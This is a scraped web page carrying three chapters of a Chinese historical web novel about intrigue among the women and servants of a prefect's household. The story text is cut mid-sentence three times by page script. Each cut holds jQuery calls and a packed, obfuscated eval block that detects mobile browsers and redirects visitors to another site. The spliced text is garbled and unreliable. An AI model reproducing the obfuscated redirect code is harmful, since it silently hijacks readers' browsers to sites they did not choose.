$(''.inform'').remove(); $(''#content'').append('' 在为刚才的莽撞赔不是，一偏头，就看到了站在院门边的秦家母女，萧举年的笑僵在了嘴角。 秦秋将萧录事的尴尬尽收眼底，二人的眼神一撞上，秦秋就极其识趣和体贴地移开了目光，去欣赏她家院门上斑驳褪色的红漆。 李氏看着眼前翩翩有礼、一表人才的小郎君，和絮絮叨叨说个不停的六婶，也忍不住笑了，笑完之后才解围说道：“六婶，不是说修屋顶的瓦匠就要到了吗？” “哎呀呀，瞧我！见着这小子一高兴险些忘了正事。萧家小子，这是你秦婶，你秦叔和你爹也是旧识，秋儿她娘，这是萧嬷嬷的大孙子，在州府衙门做事呢，了不得！”六婶呵呵笑着，热心地为双方引见。 李氏浅浅一笑，对着萧举年微微颔首。 萧举年竟有些紧张起来，鼻尖腻汗，下意识郑重其事地对着李氏行了一礼，倒把李氏和六婶二人都给看愣了。 六婶的大嗓门率先反应过来，赞道：“果然是读书人，可真是守礼。” 李氏自是知道萧举年的，刺史府谁人不知萧嬷嬷的孙子读书上进，如今已是九品官身，只是今日她又不当差，六婶话里也没明说，她便假装不知，只当是个旧识家的孩子，礼节上糊弄一下就过了，谁承想，对方倒是认真起来。 李氏忙回了一礼，道：“萧大人不必如此客气，想必大人有公务在身，只管去忙吧，不用理会我们，代我们向你母亲和祖母问好。正月里得了闲，只管来家里吃茶，今日就不耽误你了。” 六婶亦忙说道：“正是正是，我一高兴就拉住你多说了几句话，可别误了你原本的事，你快去吧。” 萧举年此时确是有要紧事要赶回衙门，见状也不再磨叽，向三人稍一拱手，就朝后巷东头继续走去，走到尽头向南一拐，消失在三人的视线里。 六婶又招呼了一声，才进了斜对面的院子。 秦家母女二人相视一笑，秦秋挽住李氏的手，二人朝着巷子口慢慢走去，到了尽头向北一拐也进了擀面街，吃食杂货铺子都在北边。 李氏对着女儿宠溺一笑，问道：“除了陈家点心铺的枣糕，还有什么想吃的？” “还有些想吃油炸糕，和张家的醪糟。” 李氏笑了笑，忽然叹道：“这萧举年看着着实不错，难怪是府里的香饽饽。” 秦秋略感诧异，萧举年竟然是刺史府的香饽饽吗？她不禁问道：“娘你认识他？香饽饽？” “府里这些人家，谁不知道萧嬷嬷的两个孙子，不仅脱了籍，还争气，这不，听说是九品官身了。腊八那日进府里请安，那些有女儿的人家，多少人心动哟，谁不想当萧家两兄弟的丈母娘呀！不过，也是想想罢了，萧嬷嬷定是有打算的。且不说人家还会不会跟府里这些旧识结亲，就是要结亲啊，我猜，十有八九也是老夫人院里的。” 秦秋深以为然地点点头，那倒是，萧嬷嬷本就是老夫人的心腹，如今虽是告老荣养了，可依然隔三岔五地就要去和熙堂陪老夫人说话。将来就算娶孙子媳妇，那也定是在和熙堂挑人的。会是谁呢？若是木槿姐姐，倒也是郎才女貌，秦秋想到这，嘴角不自觉地就勾了起来。 二人不知，已走到擀面街另一头的萧举年似心有所感，忽然回头，视线尽处，刚好落在秦秋的侧脸上，她正对着李氏莞尔一笑。萧举年心跳得厉害，似乎，秦秋挺耐看的。 11. 第十一章 和熙堂内，此时已过了请安的时辰，本该在凝曦院理事的郭云静又领着几个丫鬟折返回来。 刘母本在跟木槿说些琐事，见此不由低笑一声，对着木槿耳语：“她是个大忙人，此时特意避了众人前来，必是有事，咱们且好生瞧瞧！” 木槿也轻笑一声，一面笑一面已经起身迎了上去。 “母亲，我给你寻了好东西！”郭云静眉眼弯弯地跨进暖阁，脚下轻快地向刘母走去。刘母扶着丫鬟的手微微坐了起来，上身向前倾着，眉梢适时地往上一挑，露出几分兴味。 郭云静紧走两步，上前替了那丫鬟，扭头示意她身后的春雪上前。春雪手上提着一个精巧的藤编提篮，那提篮之上盖着一块雪白的细棉布，走到刘母榻前便改提为捧，高举着提篮蹲下。 刘母看那棉布有轻微的起伏，似是底下有活物，观其轮廓，心中已猜着了几分。 郭云静搀了刘母的手，一个劲儿地笑着催促：“母亲快掀开瞧瞧，看看可喜欢？” 刘母此时也乐意配合，眼底先流出几分惊奇之色，右手牵住棉布一角，一寸一寸地往下拽，等拽到一半时，脸上的神色倒是真欢喜了，手上一个用力，那物便露了全貌——一只浑身雪白、长毛蓬松的幼猫。 “这猫唤作狮子猫，是从一个齐地商人手里买下的，说是有一半的血统来自波斯国呢！”郭云静见刘母已经挣开了自己的手，两手将那猫抱进了怀里，忙笑着为刘母介绍这猫的来历。春雪已识趣地退到一边。 刘母将那猫揉搓了一阵，笑得合不拢嘴，对着郭云静说道：“我喜欢得很，你这份孝心啊，我收了！” “能合母亲心意就好，二妹妹拐走了母亲的猫，我这做姐姐的能替她赔一只不是？”郭云静心头甚喜，这小东西果然送对了，她站在一旁掩袖娇笑，头上的金珠步摇都在颤动。 “木槿，快来，瞧瞧你们二夫人给我送了什么好东西！” 木槿奉茶进来，还没递给郭氏，就见刘母笑眯了双眼。郭云静忙主动接过木槿手里的茶盏，下巴轻轻一点，亲昵地说着“木槿快去瞧瞧”。 木槿心里顿时生出几分警惕，二夫人平日可没这么玲珑的心思，几时能把老夫人哄得这么开心？今日怕不是图谋不小？但她面上仍露出惊叹之色，赞道：“哎哟，这猫可真俊呐！老夫人快看，它的眼睛还是鸳鸯眼，一金一蓝。” 刘母笑得更开怀了，几人围着这猫玩笑了一阵，刘母才将它交给和熙堂的丫鬟抱下去，嘴里仍千般嘱咐“小心些，天冷，给它重新做个窝，做厚些”，郭云静见状，忙指了一个凝曦院的丫鬟跟过去照料。 等闲杂人等都退出了暖阁，刘母才懒懒地往后一靠，上身倚在身后的金丝大迎枕上，两条腿也重新蜷回榻上随意地舒展着，木槿忙将方才因为逗猫而滑溜到了一边的大毛毯子重新给刘母盖在腿上。 刘母寻了一个舒服的姿势，才对着郭云静轻轻颔首，道：“这一年，你掌家本就辛苦，前日我还寻了几件压箱底的宝贝，想着犒劳你，不承想，我的东西还没送过去，你的倒先送来了，可见是你的孝心了。眼下正是各处商铺、田庄交账的时节，我晓得你近日忙得脚不沾地，今日这个时辰过来，该不会只为送这只猫吧？” 郭云静刚在刘母左下首的椅子坐下，闻言又款款起身，掩口而笑，道：“真是什么都瞒不过母亲！儿媳还有几件事想向母亲拿主意呢。” “喔？你且说说看。”刘母就那般闲适地半倚在榻上，木槿立在她身后为她捶着肩膀。 郭云静稳了稳心神，依着腹稿，先从最轻的事开始说起：“咱们请年客的日子得定下了。朗州城其他人家都开始向门房打听了呢，只等咱们定了，旁人才好拣别的日子。我想着，初一到初五，自是要预备着本族的亲眷来给母亲拜年的，咱们请客倒不好又重在这几天，显得咱们小气，还是依着往年旧例，在初六到初十里拣两日吧？” “你说的极是，就初七初八两日吧。”刘母轻轻点头。 “是，此是其一。其二啊，这是府里今年各项进益和开支，今年年岁好，各处田庄都报了好收成，只铺子里差些，有几家铺子的盈余倒不如往年——” 郭云静说着话，转身从身后的春雪处取了两本账册，是以她未曾留意到刘母忽然垂了眼眸，眸中精光一闪，而刘母身后的木槿，正在捶肩的手亦是一顿。 “尤其是泽裳阁，六月的时候，泽裳阁的几个老伙计和掌柜都请辞回老家了，人各有志，我也不强留他们，只得新找了一个掌柜。好在这新来的周掌柜是个能干的，一盘账才发现这铺子竟亏得厉害。我待要追究下去，可一想着这铺子以前都是大嫂用的人，若揪出了什么面上倒是不好看。所以就慢慢地经营着，所幸几个月运筹下来，到年底竟补了亏空还略有盈余。还有咱们的茶叶铺子、胭脂铺子、干货铺子，各项进益儿媳都列在这账册里了，请母亲过目！” “账册我就不看了！”刘母打断郭云静，脸上的笑意淡淡的，若有似无，“你管家，我心里有数。” 郭云静心头一跳，她心虚地低下头，片刻才又抬起头来，面有愧疚之色，虚虚一笑，道：“母亲不嫌我笨拙，我心里就更惭愧了，请母亲放心，我虽不如大嫂能干，但定会用心好好学的，今年也算攒了一些经验，明年定是会比今年好的。”说完，抬眼觑着刘母的神色。 刘母脸上的笑意未减，看不出她心中的喜怒，只听她继续温声说道：“只是盈余少了些，到底没落下亏空，铺子上的事嘛，有赚就有亏，我心里有数。这第二件事我晓得了，还有吗？” 郭云静在纠结要不要见好就收，见刘母眼下的反应完全没有一丝不悦，若要再寻旁的时机，怕是也难，念及此，她脸上的笑意更轻柔小心了，一层一层像是自湖心处荡起的涟漪。 刘母似笑非笑地看着她，等着她开口。 “还有最后一件，这件事呐，是天理人伦大事！过了年啊，咱们府里又该喝他们底下人的喜酒了！”郭云静才起了头，自己先咯咯咯地笑了，笑过之后见刘母未接话也未反驳，便放心地继续说下去。 “府里的规矩，年满二十五岁的丫鬟就可以成婚出嫁了，过了年可不少人呢！凝晖轩的碧霄和青梧，我身边的春雪，弟妹身边的蓝桥，还有好些个母亲不知道名姓的，哦，对，咱们木槿也该成亲了呢！府里还未成家的小厮我也拟了名册来，母亲您看，可有您想保媒的，这里面可有好几个不错的小子呢——”郭氏说着，从袖子里取出一个小卷轴就要呈给刘母。 “不必了！”刘母手一抬，止住郭氏上前的步子，她慢慢地支起了身子，脸上的笑意消失了，只剩嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598213|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还微微往上翘着，看不出是笑还是嘲，只听她缓声说道，“凝晖轩跟和熙堂眼下人手正缺，若有先前已经定了亲的，过了年可自去完婚，若还没定亲的，都延后一年，届时我自会多赏她们一副嫁妆！至于你身边的人，你自己安排吧。老三那边，裴氏自有决断，你也不用操心了。” 郭氏一听这话，心里发急，情急之下竟也忘了看刘母的脸色，而是面有焦色地说道：“母亲，可若是这样，明年可以婚配的丫鬟就更少了！府里等着成家的小厮原本就多，我本还打算跟母亲商量，把老祖宗先前定的规矩给改一改，若是两家看对眼了，便是不到二十五岁，小上那么两三岁也是无妨的，就当是咱们赏他们的恩典，也给府里多添些喜气！” 春雪咬着牙，生怕自己当场颤栗起来，老夫人的话都说到这份上了，泽裳阁的事也不计较了，二夫人竟还想置秦秋于死地！好歹毒的心肠！是了，老夫人若是方才接了她递过去的名册，等出了和熙堂，她自可以光明正大地派人给几家传话，说是老夫人给保的媒，把黄三儿混在其中，借着老夫人的名头，谁家还会敢来找老夫人对峙不成？春雪听到自己的牙齿在咔咔作响，她极力隐忍，直至舌尖传来一丝血腥味，而郭氏犹在喋喋不休。 “母亲，你也晓得，这些血气方刚的小子，到了年岁若不成家立业，容易惹事，您看——” “你聋了是不是！我方才说的你没听清？！”伴随着刘母一声怒喝，是茶盏砸碎在地上的声音，以及郭氏被溅了一身茶水的裙摆。 “母亲息怒，是儿媳多言了，儿媳知错！”刘母的怒气爆发得如此突然，郭氏这时才吓懵了，她没想到刘母对商铺亏损都睁一只眼闭一只眼，而对打发几个丫鬟，竟有如此大的火气。 刘母扔了茶盏之后，仍怒睁着双眼、剧烈喘息着，木槿忙转到她身前为她轻拍着胸口顺气。好半晌，刘母才匀了气息，冷笑连连，指着郭氏厉声骂道—— “不成家的小厮不好管？你是蠢材还是废物？怎么，成亲治百病啊？娶个媳妇，泥地里的癞蛤蟆就成了下金蛋的凤凰？大唐哪条律法定了，烂泥种子也必须要娶妻留后的？不成器的奴才种子，绝了后你还要上门哭丧吗？哪个奴才喝酒闹事？你不会赏一顿板子再发卖出去吗？你是他爹还是他娘啊，亏损了这么多银子不晓得把心思放在家业之上，反而操心几个下贱胚子的婚事？” “我让你管家，不是让你惦记着拿府里的丫鬟去做人情的！离我闭眼的日子还早着呢，这就想着开始摆布我身边的人了？你自己院子里还乌烟瘴气一团糟，就想着把手伸到大房了？呸！和熙堂和凝晖轩的人你少给我惦记，你若是真觉得自己管不了这个家，就趁早跟我说了，我有三个儿媳，死了一个，废了你一个，别忘了，还有一个会喘气的呢！不成亲的小厮不好管？我那个行二的儿子倒是成了亲，你管住他了吗？” 最后一句话直戳郭氏心窝子，她的眼泪登时扑簌簌地往下掉，是啊，整个刺史府，连老夫人都知道她管不住自己男人。 刘母一口气骂完，见郭氏跪在地上抹泪，索性不再看她，闭上眼睛一叹，道：“年宴和账册的事就定下了，你自去操持，我不过问。你二房的人随你怎么摆布，只是，我最后告诫你一句，手别伸到我这儿，也别打凝晖轩的主意！回吧！今日不用再过来请安了。” 12. 第十二章 直至走出了和熙堂，郭氏仍想不明白，自己不过是要打发几个丫鬟嫁人，到底是哪儿触了老太太的逆鳞？泽裳阁亏损她都不生气，为何对几个丫鬟这么上心？莫非是因为她提了木槿？老太太当真如此离不开木槿？ “你说，今日这事到底是哪儿出了岔子？”郭云静的双膝仍在发软，她用力地抓着春雪的手，声音里也止不住还有一丝颤抖。 春雪的手被郭氏攥得生疼，但是手腕上的疼反而给她一种劫后余生的安心，不管是对旁人还是对自己，二夫人遭了这番训斥，至少对身边的人也不会随意发嫁。春雪搀着郭氏，慢慢地往凝曦院的方向走，后面跟着的几个丫鬟极有眼色地放缓了步子，不远不近地跟着，方才暖阁内的动静她们虽没看见也没听清，但是二夫人是脸色苍白地被搀着走出来的，她们还是离远些的好。 “夫人，奴婢也猜不出来。只是，老夫人都不看账册了，这事就算了吧！”春雪低声劝道。 “算了，算了，不算了又能怎样……他们刘家的猫儿狗儿都是金贵的，我管不住丈夫，她不也管不住儿子吗……”郭云静喃喃低语，春雪撇开眼，只当没听见。 其实郭云静猜错了，刘母并非是只为几个丫鬟，若她够聪明，细究刘母话中深意，就明白那句“休想惦记摆布她身边的人”才是今日问题所在。 在刘母眼里，二房管家捞几个钱不是什么伤筋动骨的大事，可在她为大儿子张罗续弦的节骨眼儿，郭氏却提出要为凝晖轩跟和熙堂换血，这一举动在刘母眼里，可比捞钱严重多了。在刘母想来，郭氏先摆布了她和大儿子身边的人，下一步就该摆布他们了，二房这是想翻了刺史府的天呐！ 郭云静主仆二人一路无话地回了凝曦院。 “先扶我回房歇歇吧。让偏厅的管事婆子都散了，有什么事明天再来回话。”郭云静有气无力地摆摆手，春雪忙扶着她回了正房的东梢间。 一拐过屏风，卧房之内出现了一个意想不到的人。郭云静再没想到青天白日里能在此间看到她的丈夫。 刺史府的三兄弟里，二爷刘从裕的皮囊最为俊朗，但是皮囊之下是早被酒色掏空了的内里，此时他只着一身青色的绸衫躺在摇椅上，那摇椅铺着厚厚的毛皮褥子，室内六个炭盆烧得通红，窗外北风凛冽，屋内的热气却是直往人脸上扑。刘从裕微敞着衣襟，一手捧了一卷书，一手拎着酒壶，当真是个风流倜傥的公子哥儿！ 见了郭云静，刘从裕将手中的书册随意地往后一扔，冲着来人轻佻地飞了一个媚眼，道：“夫人可算回来了，叫为夫好等！” 若是平日，被丈夫这般调侃，郭云静一定笑逐颜开，只是她才在婆母那儿吃了挂落，犹在为那句“管不住丈夫”暗自神伤，再一想到自己今日承受的这番屈辱，全是为了替眼前之人遮瞒，破天荒地，郭云静竟没有给刘从裕一个好脸，只扶着春雪的手一径走到摇椅对面的暖榻之上坐了，冷哼道：“哟，我可没让你等我。春雪，去，给我也烫一壶酒来！” “哟，新鲜！夫人也要喝酒？来，为夫伺候你，为你斟酒！”刘从裕被甩了一个冷脸，竟难得地没有发作，反而斟了一杯酒，起身送至郭云静唇边。 这可就更稀奇了，郭云静斜眼睨着他，继续奚落道：“二爷今日倒是安分。怎么，郎州城的秦楼楚馆今日一齐歇业了？” “啧啧，瞧瞧夫人这脸色，是谁给夫人气受了？”刘从裕丝毫不在意她的嘲弄，反而紧挨着郭云静坐下，双手揉捏上她的肩膀，继续柔声哄道，“夫人消消气，我来伺候夫人。” 刘从裕不过伏低做小说了三两句软话，郭云静的态度就慢慢地软了。 等到春雪取了酒回来，才走到屏风外面，就听到里面阵阵男女调笑声，她捧着酒壶，一时不知该进还是该退，只好踌躇着立在原地，心里不免哀叹一声，二夫人耳根子也忒软了，总是被二爷三两句就哄得回心转意为虎作伥。 刘从裕将郭云静揽在怀里，又擎了郭云静的一只手放在掌心里把玩着，声音极尽温存体贴：“我晓得你今日要去母亲那交账，我也悬着心呢。夫妻一体，一损俱损，我怎有心思出门去应酬？怎么，母亲不信今年的银子进项？责备于你了？” 郭云静委屈地咕嚷：“若不是为了你，我何曾会做这样的事！” “我晓得你受委屈了，可你想想，我这么做何曾不是为了咱们两个？母亲百年之后，这家业都是老大的，咱们能分多少？等日后分了家，就算咱们可以省俭着过，孩子们呢？若不是为了你们啊，我如何会起心思去结交京中权贵？” 郭云静眼珠一转，一手撑住丈夫的胸膛，微微直起身子，狐疑问道：“吴家靠得住吗？那个吴将军自己不过才是五品的散官，比咱们家可差远了，更别说祖上的功勋了！他们若有京里的关系，怎不见他们自己发达？” 刘从俭被问住了，尴尬一笑，又将人搂住，道：“你放心吧，我心里有数，吴家那小子若敢骗我，在朗州城的地界，你还怕我收拾不了他？我跟你说，他有个姐姐被送给了……” 声音低了下去，春雪在屏风后面听不大清，只听郭云静惊呼一声“这？自家女儿，这吴将军也忒狠心了吧！” “呵，舍个女儿有什么了不得的！酒呢？怎么还没送进来？” “二夫人，酒烫好了，小厨房里还准备了两道佐酒小菜，可要现在送进来？”春雪忙恭声问道。 只听里头先是一阵衣裙窸窣响动，才传来郭氏的声音“送进来吧”。 春雪忙垂着头小心翼翼地奉上酒食。 刘从裕又懒懒地躺回了摇椅之上，一手捞着下巴打量着春雪。 春雪只觉头皮发麻，手里动作飞快，为二人布好杯箸就要退下，刘从裕轻浮的声音却在她头顶响起：“春雪越发出挑了，模样也是个美人了！” 这话听在春雪耳里犹如催命符，她手一抖，手里的托盘和刘从裕先前的空酒壶就被失手跌落在地，她赶紧跪伏下去，一面收拾一面告饶。 郭云静不满地瞪了刘从裕两眼，才皱着眉头看向春雪，叱道：“二爷说笑呢，还不下去。” 春雪几乎是连滚带爬地逃离了里间，转过屏风之后，险些落泪。 郭云静似笑非笑地睨着眼前人，道：“这丫头对我还有用，你别打什么歪主意！” “瞧你，不过一句顽话，你们主仆二人还当真了！”刘从裕又起身在暖榻上坐下，搂住郭氏，道，“我不过忽然想起，过了年这丫头该成亲了吧，既是你身边得用的，我帮她留意个好婆家！母亲身边也有好几个人该放出去了吧，不如——” 郭云静面色一僵，冷笑道：“二爷快休要再提这话，才为这事我在母亲那儿讨了一顿骂，脸面都要丢尽了！” “这话怎么说？”刘从裕显然也吃了一惊。 郭云静一想到此前之景，犹自气不顺，愤愤说道：“我不过好心提了一句明岁该有不少丫鬟到了成亲的年纪，母亲身边的木槿，大伯那儿的碧霄、青梧，母亲就发了好大的火，还摔了东西，我好歹也是当权掌家的二夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598214|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，母亲就这么下我的面子，呜呜……” 郭云静说着说着竟自己又委屈上了，扑在刘从裕怀里抽泣起来，刘从裕搂着她，心不在焉地随意拍着她肩膀，思绪却开始乱飞起来，母亲竟这么舍不得身边的几个丫鬟？若是舍不得，不如自己纳了木槿？ 此念一出，刘从裕先被自己吓了一跳，接着却是越想越兴奋，若是木槿成了他的姨娘，何愁日后分家的时候不好摆布他老娘？刘从裕心头狂喜，眼底的急切和得意几乎要溢出眉梢，只是一低头，怀里还有一个呜呜咽咽的女人，他不耐烦地皱了皱眉头，只好劝自己先将眼前的人安抚住，毕竟后面的事还得靠她出力。 春雪脸色苍白地疾步走出正房，将门外守着的两个小丫鬟都撞了个趔趄。 “春雪姐姐，你怎么了？”二人看着春雪的脸色，不禁担忧地问道。 春雪摇摇头，又扭头看看里面，将手中的托盘随手递给旁边站着的人，道：“你们在这候着，留神里头要茶要水，我去去就回。若是夫人问起，就说管事的婆子来交年节要用的灯笼火烛，我去点数去了。”春雪一口气说完，也不顾几人的反应，几乎是飞奔着跑出了凝曦院，仿佛再晚片刻就要没命似的。 直至走进了后园、拐进了一处假山洞里，她才停下发虚的脚步，也不顾山石寒凉，整个人往下一溜，瘫软地靠在石头上喘气，彼时，她才惊觉自己手脚冰凉，后背的冷汗已经浸湿了里衣，被假山后面的穿堂风一吹，只觉那冷渗进了骨头里面，浑身发抖，脑子里只余一句话：二房不能待了，不能待了！ 秦秋还不知道自己又躲过了一劫，世事就是如此，上位者的博弈总会改变底层蝼蚁的命运，这改变偶尔也会是幸事。 今日有南来的故交送了刘从俭几筐极好的香柚，刺史大人派小厮传了话，让碧霄将这些香柚分派送给各房，和熙堂那儿自然是碧霄亲自去献殷勤，二房和三房也有人抢着去领赏，碧霄倒也没忘来做客的郭夫人和郭二姑娘，清渊阁的差事就落到了秦秋的头上。 秦秋自然是无所谓的，她只是没想到鹊儿也跟着她一道。自腊八之后，这丫头倒是越来越爱跟着她。二人从清渊阁送了柚子回来，不免又聊起了这位郭二姑娘。 “秦秋姐姐，你看到那只白猫了吗？有些时候我还真羡慕它啊，在和熙堂的时候老夫人可喜欢它了，待它比人还好呢，离了和熙堂又每日里都被郭二姑娘这样的美人儿抱在怀里，这猫的日子过得比我好多了。”鹊儿脸上露出欣羡之色，叹道。 秦秋轻笑道：“这也值得羡慕？这些猫儿狗儿，老夫人今日喜欢，明日就能送了人，可见在老夫人眼里，它也不过是个逗闷的玩意儿，你羡慕个逗闷的玩意儿做什么？” 秦秋说完，也不知是触及了哪根心弦，眼见四下无人，忽然又感慨了一句：“不过，你羡慕它也有道理，咱们这些人在老夫人眼里，说不定还不如猫儿狗儿呢！” 两人的对话被假山后的春雪听得一清二楚，此刻春雪心里本就兔死狐悲、凄凄惶惶，听了秦秋这句话更是如遭雷击，整个人都神思恍惚起来，心里想着，也不知他日，自己这只猫儿狗儿会被二夫人丢弃去何处，若是落在二爷或黄三儿那样的人手里……春雪不敢细想，又浑身颤栗起来。 假山内外的三人竟都一时沉默无语，直至一道声音响起—— “哟，大白日地就敢在园子里嚼老夫人的舌根，被我抓住了吧！看我不拔了你的舌头！” 秦秋和鹊儿俱被唬了一跳，二人忙回头去看—— 13. 第十三章 待看清来人是木槿时，二人俱都长舒一口气，秦秋亦自悔方才失言。 木槿两手交叉抱于胸前，倚着月洞门，仰着下巴睨着秦秋，似笑非笑地说道：“平日里你最是谨慎不过，像个锯了嘴的葫芦，今日被我抓到错处了吧！” 秦秋忙走过去拉了木槿的手，涎着脸笑道：“好姐姐，我错了！我不知天高地厚胡说八道，你就饶了我这一回，当做什么也没听见好不好？”一面说一面拉着对方的手晃个不住。 木槿难得见秦秋这副着急的模样，一时玩心大起，揪着她逗了一会儿才作罢，又叹道：“你呀，休要再说这话，老夫人菩萨心肠，对咱们这些人还是怜惜的！” 秦秋乖巧地点头附和。 鹊儿这时才敢说话，问道：“木槿姐姐是打哪儿来的？” 木槿笑了笑，反问道：“你二人又是打哪儿来的？” 秦秋二人忙将送柚子一节说了，木槿颔首而笑，又敲了敲秦秋的脑门，道：“什么时候你们也领一个去和熙堂送东西的巧宗儿？” “罢罢罢，我可不敢肖想这个。木槿姐姐是从凝昕馆过来的吧？又是什么要紧差事要姐姐亲自去传话？”秦秋笑着摆手。凝昕馆是三房的院子，她们身后这个方向，不是清渊阁就是凝昕馆了。 “鬼丫头，你倒是聪明。”木槿点点头，道，“老夫人忽然起了兴致，咱们园里梅花不是开得正好吗，老夫人想办一个赏梅宴，三夫人饱读诗书，是个风雅人，我这不刚去传话回来。” 鹊儿心直口快，不禁问道：“咦？明日都十五了呢，再过几日都小年了，以往可从不会在大年节下设宴的。” 还不是因为二夫人今日这番动作，把老夫人的心事又翻搅起来，让老夫人觉得大爷续弦一事不能再拖了，得赶紧相看起来。木槿心里想着，面上只笑了笑，道：“走吧，快回去吧。过几日的宴席可不小，老夫人让给好些人家的女眷下帖子呢，到时说不得你们那儿也得分派人手。” 三人说说笑笑地走了，等她们走远了，春雪才从假山后面拐出来，她怔怔地看着几人的背影又发了一回呆，才慢慢地踱回了凝曦院。 刘从俭这日下值回府，才进二门，就被告知“老夫人有请”。 “母亲，这般郑重地唤儿子前来，可是有事？”刘从俭迈入和熙堂的正房时，已到了摆饭的时辰，可今日奇怪，他的两个弟媳均不在一旁伺候。 刘母一眼看出了儿子眼中的疑惑，她轻轻笑了笑，向着对方招手，指着身旁的椅子，道：“快过来，我今日特意传话让她们不用过来请安了，专等着你吃饭呢，快坐下，做了你最爱吃的炝锅鱼。” 刘从俭忙依言上前，母子二人这顿饭倒是宾主尽欢，一时饭毕，刘母才状似随意地问起：“对了，这个月你哪日休沐？” 刘从俭刚从丫鬟手里接过漱口的茶水，闻言不假思索地答道：“唔，只还有十八那日了，再往后就要到除夕了。” “十八啊，唔，十八挺好。”刘母点点头，瞟了木槿一眼，木槿会意，当即走到外面，招手叫了一个小丫鬟，低声吩咐了几句，那丫鬟便领命去了。 刘从俭漱了口，又接过喝的茶水，笑着问道：“怎的？母亲怎么想起问这事了？今日特意叫人在二门上等我，不会单只为了问这句话吧？” 刘母没好气地瞪了他一眼，道：“怎的？我关心你还不成吗？我念你回到凝晖轩也是孤鬼儿一个，特意请你吃饭，你还不领情？这寒冬腊月的，但凡你院里有个人在等你，我也不操这份闲心了，你呀——” 一语未完，刘从俭只好笑着讨饶，道：“是儿子说错话，母亲莫生气。我今日差人送的柚子，母亲可还喜欢？” “罢了罢了，我也是好心被你当成驴肝肺！又拿些别话来敷衍我，我不喜欢，你都拿回去好了！”刘母赌气说道，声音里显见地带了一丝烦闷，说完又一叹，“我问你，你当真要为蒋氏一直守着不成？ 刘从俭脸色一僵，眼里又带出几分黯然，叹道：“娘，续弦一事你当真就这么心急吗？” 刘母也喟然一叹，问道：“我若说是呢？” “我生性冷淡，不知体贴人心，又忙于州府公务，已辜负了一人还不够吗？” “孔圣人不是说了吗，‘过则无惮改’啊，你既晓得你哪儿不好，往后过日子改了不就成了吗？”刘母一句话倒是一下把刘从俭堵得哑口无言，见儿子不说话，她又缓了缓神色，道，“十八那日你既休沐，便好好在家待着吧，我有事劳烦你。” 刘从俭见刘母转了话头，他忙恭声说道：“怎当得起母亲‘劳烦’二字，母亲但请吩咐。” 刘母嘴角轻勾，老神在在地一笑，道：“不急，到那日再说。对了，还有一事，等过了年，我想为你抬个姨娘，青梧和碧霄，你中意哪个？” 刘从俭一愣，这话转得太快了，他又僵在当场。 刘母看着儿子的反应，眉头也皱了起来，道：“怎么？两个都不中意？莫非你不喜欢标致的？难道你真是看上先前你叫去书房伺候的那个丫头了？那丫头叫什么来着？哦，秦秋？” “秦秋？”刘从俭哭笑不得，这是哪儿跟哪儿。 “你这意思是？”刘母狐疑地打量着儿子。 一直侍立在一旁的木槿也吓了一跳，心里直叹气，好好地那丫头怎么又被牵扯进来了！ 刘从俭忙神色一敛，凝眉肃目地说道：“母亲，若您一定要抬姨娘，人选先容我想想吧。” 刘母松了一口气，行，想就想吧，总比陷入僵局来得好。若是两个月之前，姨娘人选她是定了碧霄的，只是如今，碧霄也不那么让她满意了。 等刘从俭走了，刘母才扶着木槿的手慢慢往里间走，边走边问：“十八办赏梅宴，传话给凝昕馆了吗？” 木槿忙笑着答道：“老夫人放心，传话的丫鬟都已经回来了，三夫人让回禀老夫人，帖子都写好了，明日一早就发出去。” “好，好！”刘母满意地拍拍她的手，道，“咱们家里，女孩少了些，只一个郭二姑娘，还是亲戚家的，等那日人来了不好看，都没人陪着说话。这样，明日你派人去望老太爷那边，把八丫头和九丫头接过来，就说我老太婆寂寞，接她们过来住段日子，过了元宵再送回去。” 刘母一面说，木槿一面应下，半晌又听刘母好奇地问道：“那个秦秋长什么样儿？大郎真喜欢丑的？” 木槿一噎，愣了愣才回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598215|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过神来，道：“老夫人，人家只是长相不出众，倒也不丑。况且我看大爷的意思，也不像是要抬姨娘的那种喜欢，可能是那丫头研墨研得好，又安静，适合在书房伺候吧。” 也不知刘母是否听进去了，只见她沉吟半晌，才说道：“设宴那日，让凝晖轩的丫鬟也过来伺候，凝晖轩这一年来，我只常见碧霄，连青梧都少见，是该掌掌眼了。” “是。”木槿轻声应下，心想是该给秦秋提个醒了。 